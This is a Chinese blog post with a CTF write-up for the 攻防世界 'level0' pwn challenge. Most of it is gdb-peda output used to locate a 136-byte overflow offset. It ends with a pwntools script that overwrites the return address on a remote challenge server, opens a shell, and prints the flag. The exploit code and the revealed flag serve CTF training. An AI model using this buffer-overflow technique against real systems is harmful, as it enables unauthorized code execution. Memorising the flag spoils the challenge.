攻防世界-level0

最新推荐文章于 2024-07-28 15:46:11 发布

32进制

最新推荐文章于 2024-07-28 15:46:11 发布

阅读量444

点赞数

分类专栏：笔记 ctf 攻防世界CTF 文章标签： python 安全 ctf pwn

本文链接：https://blog.csdn.net/m0_47210241/article/details/129966674

版权

ctf 同时被 3 个专栏收录

23 篇文章 1 订阅

订阅专栏

攻防世界CTF

23 篇文章 0 订阅

订阅专栏

笔记

19 篇文章 0 订阅

订阅专栏

攻防世界-level0

gdb-peda$ run
Starting program: /home/giantbranch/Desktop/study/level0 
Hello, World
^C
Program received signal SIGINT, Interrupt.

[----------------------------------registers-----------------------------------]
RAX: 0xfffffffffffffe00 
RBX: 0x0 
RCX: 0x7ffff7b04260 (<__read_nocancel+7>:	cmp    rax,0xfffffffffffff001)
RDX: 0x200 
RSI: 0x7fffffffdd90 --> 0x0 
RDI: 0x0 
RBP: 0x7fffffffde10 --> 0x7fffffffde30 --> 0x400600 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdd88 --> 0x4005c4 (<vulnerable_function+30>:	leave)
RIP: 0x7ffff7b04260 (<__read_nocancel+7>:	cmp    rax,0xfffffffffffff001)
R8 : 0x400670 (<__libc_csu_fini>:	repz ret)
R9 : 0x7ffff7de7ab0 (<_dl_fini>:	push   rbp)
R10: 0x37b 
R11: 0x246 
R12: 0x4004a0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdf10 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7b04257 <read+7>:	jne    0x7ffff7b04269 <read+25>
   0x7ffff7b04259 <__read_nocancel>:	mov    eax,0x0
   0x7ffff7b0425e <__read_nocancel+5>:	syscall 
=> 0x7ffff7b04260 <__read_nocancel+7>:	cmp    rax,0xfffffffffffff001
   0x7ffff7b04266 <__read_nocancel+13>:	jae    0x7ffff7b04299 <read+73>
   0x7ffff7b04268 <__read_nocancel+15>:	ret    
   0x7ffff7b04269 <read+25>:	sub    rsp,0x8
   0x7ffff7b0426d <read+29>:	call   0x7ffff7b220d0 <__libc_enable_asynccancel>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd88 --> 0x4005c4 (<vulnerable_function+30>:	leave)
0008| 0x7fffffffdd90 --> 0x0 
0016| 0x7fffffffdd98 --> 0x0 
0024| 0x7fffffffdda0 --> 0xff00 
0032| 0x7fffffffdda8 --> 0x0 
0040| 0x7fffffffddb0 --> 0x0 
0048| 0x7fffffffddb8 --> 0x0 
0056| 0x7fffffffddc0 --> 0x4005c6 (<main>:	push   rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGINT
0x00007ffff7b04260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	../sysdeps/unix/syscall-template.S: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
 RAX  0xfffffffffffffe00
 RBX  0x0
 RCX  0x7ffff7b04260 (__read_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x200
 RDI  0x0
 RSI  0x7fffffffdd90 ◂— 0x0
 R8   0x400670 (__libc_csu_fini) ◂— ret    
 R9   0x7ffff7de7ab0 (_dl_fini) ◂— push   rbp
 R10  0x37b
 R11  0x246
 R12  0x4004a0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffdf10 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffde10 —▸ 0x7fffffffde30 —▸ 0x400600 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdd88 —▸ 0x4005c4 (vulnerable_function+30) ◂— leave  
 RIP  0x7ffff7b04260 (__read_nocancel+7) ◂— cmp    rax, -0xfff
───────────────────────────────────[ DISASM ]───────────────────────────────────
 ► 0x7ffff7b04260 <__read_nocancel+7>     cmp    rax, -0xfff
   0x7ffff7b04266 <__read_nocancel+13>    jae    read+73 <0x7ffff7b04299>
    ↓
   0x7ffff7b04299 <read+73>               mov    rcx, qword ptr [rip + 0x2ccbd8]
   0x7ffff7b042a0 <read+80>               neg    eax
   0x7ffff7b042a2 <read+82>               mov    dword ptr fs:[rcx], eax
   0x7ffff7b042a5 <read+85>               or     rax, 0xffffffffffffffff
   0x7ffff7b042a9 <read+89>               ret    
 
   0x7ffff7b042aa                         nop    word ptr [rax + rax]
   0x7ffff7b042b0 <write>                 cmp    dword ptr [rip + 0x2d2489], 0 <0x7ffff7dd6740>
   0x7ffff7b042b7 <write+7>               jne    write+25 <0x7ffff7b042c9>
    ↓
   0x7ffff7b042c9 <write+25>              sub    rsp, 8
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp  0x7fffffffdd88 —▸ 0x4005c4 (vulnerable_function+30) ◂— leave  
01:0008│ rsi  0x7fffffffdd90 ◂— 0x0
... ↓
03:0018│      0x7fffffffdda0 ◂— 0xff00
04:0020│      0x7fffffffdda8 ◂— 0x0
... ↓
07:0038│      0x7fffffffddc0 —▸ 0x4005c6 (main) ◂— push   rbp
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► f 0     7ffff7b04260 __read_nocancel+7
   f 1           4005c4 vulnerable_function+30
   f 2           4005f3 main+45
   f 3     7ffff7a2d830 __libc_start_main+240
Program received signal SIGINT
gdb-peda$ pattern_create 1000
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$x'
gdb-peda$ pattern_create 1000
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$x'
gdb-peda$ run
Starting program: /home/giantbranch/Desktop/study/level0 
Hello, World
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$x

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x200 
RBX: 0x0 
RCX: 0x7ffff7b04260 (<__read_nocancel+7>:	cmp    rax,0xfffffffffffff001)
RDX: 0x200 
RSI: 0x7fffffffdd90 ("AAA%AAsAABAA$AA"...)
RDI: 0x0 
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7fffffffde18 ("AAQAAmAARAAoAAS"...)
RIP: 0x4005c5 (<vulnerable_function+31>:	ret)
R8 : 0x400670 (<__libc_csu_fini>:	repz ret)
R9 : 0x7ffff7de7ab0 (<_dl_fini>:	push   rbp)
R10: 0x37b 
R11: 0x246 
R12: 0x4004a0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdf10 ("vA%YA%wA%ZA%xA%"...)
R14: 0x0 
R15: 0x0
EFLAGS: 0x10217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4005ba <vulnerable_function+20>:	mov    edi,0x0
   0x4005bf <vulnerable_function+25>:	call   0x400470 <read@plt>
   0x4005c4 <vulnerable_function+30>:	leave  
=> 0x4005c5 <vulnerable_function+31>:	ret    
   0x4005c6 <main>:	push   rbp
   0x4005c7 <main+1>:	mov    rbp,rsp
   0x4005ca <main+4>:	sub    rsp,0x10
   0x4005ce <main+8>:	mov    DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde18 ("AAQAAmAARAAoAAS"...)
0008| 0x7fffffffde20 ("RAAoAASAApAATAA"...)
0016| 0x7fffffffde28 ("ApAATAAqAAUAArA"...)
0024| 0x7fffffffde30 ("AAUAArAAVAAtAAW"...)
0032| 0x7fffffffde38 ("VAAtAAWAAuAAXAA"...)
0040| 0x7fffffffde40 ("AuAAXAAvAAYAAwA"...)
0048| 0x7fffffffde48 ("AAYAAwAAZAAxAAy"...)
0056| 0x7fffffffde50 ("ZAAxAAyAAzA%%A%"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004005c5 in vulnerable_function ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
 RAX  0x200
 RBX  0x0
 RCX  0x7ffff7b04260 (__read_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x200
 RDI  0x0
 RSI  0x7fffffffdd90 ◂— 0x4173414125414141 ('AAA%AAsA')
 R8   0x400670 (__libc_csu_fini) ◂— ret    
 R9   0x7ffff7de7ab0 (_dl_fini) ◂— push   rbp
 R10  0x37b
 R11  0x246
 R12  0x4004a0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffdf10 ◂— 0x4177254159254176 ('vA%YA%wA')
 R14  0x0
 R15  0x0
 RBP  0x6c41415041416b41 ('AkAAPAAl')
 RSP  0x7fffffffde18 ◂— 0x41416d4141514141 ('AAQAAmAA')
 RIP  0x4005c5 (vulnerable_function+31) ◂— ret    
───────────────────────────────────[ DISASM ]───────────────────────────────────
   0x4005c4 <vulnerable_function+30>    leave  
 ► 0x4005c5 <vulnerable_function+31>    ret    <0x41416d4141514141>









───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp  0x7fffffffde18 ◂— 0x41416d4141514141 ('AAQAAmAA')
01:0008│      0x7fffffffde20 ◂— 0x415341416f414152 ('RAAoAASA')
02:0010│      0x7fffffffde28 ◂— 0x7141415441417041 ('ApAATAAq')
03:0018│      0x7fffffffde30 ◂— 0x4141724141554141 ('AAUAArAA')
04:0020│      0x7fffffffde38 ◂— 0x4157414174414156 ('VAAtAAWA')
05:0028│      0x7fffffffde40 ◂— 0x7641415841417541 ('AuAAXAAv')
06:0030│      0x7fffffffde48 ◂— 0x4141774141594141 ('AAYAAwAA')
07:0038│      0x7fffffffde50 ◂— 0x417941417841415a ('ZAAxAAyA')
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► f 0           4005c5 vulnerable_function+31
   f 1 41416d4141514141
   f 2 415341416f414152
   f 3 7141415441417041
   f 4 4141724141554141
   f 5 4157414174414156
   f 6 7641415841417541
   f 7 4141774141594141
   f 8 417941417841415a
   f 9 7325412525417a41
   f 10 2541242541422541
Program received signal SIGSEGV (fault address 0x0)
gdb-peda$ siAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$x
Undefined command: "siAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB".  Try "help".
gdb-peda$ 
Undefined command: "siAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB".  Try "help".
gdb-peda$ pattern_offset AAQAAmAA
AAQAAmAA found at offset: 136
gdb-peda$ pattern_offset AAQAAmAA
AAQAAmAA found at offset: 136
gdb-peda$ pattern_offset 
Error: missing argument
Search for offset of a value in cyclic pattern
Set "pattern" option for basic/extended pattern type
Usage:
    pattern_offset value

gdb-peda$ pattern_offset $rbp
7800587842530405185 found at offset: 128
gdb-peda$

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io=remote('61.147.171.105',62223)
#nc 61.147.171.105 62223
pad=136

pause()

ret_addr=0x0000000000400596
payload=b'A'*pad+p64(ret_addr)

delimiter='World'

io.sendlineafter(delimiter,payload)
io.interactive()

#0000000000400596

giantbranch@ubuntu:~/Desktop/study$ python level0.py 
[+] Opening connection to 61.147.171.105 on port 62223: Done
[*] Paused (press any to continue)
[DEBUG] Received 0xd bytes:
    'Hello, World\n'
[DEBUG] Sent 0x91 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000080  41 41 41 41  41 41 41 41  96 05 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000090  0a                                                  │·│
    00000091
[*] Switching to interactive mode

$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x24 bytes:
    'bin\n'
    'dev\n'
    'flag\n'
    'level0\n'
    'lib\n'
    'lib32\n'
    'lib64\n'
bin
dev
flag
level0
lib
lib32
lib64
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x2d bytes:
    'cyberpeace{5789113144e0024092a69c9e11b0f82a}\n'
cyberpeace{5789113144e0024092a69c9e11b0f82a}
$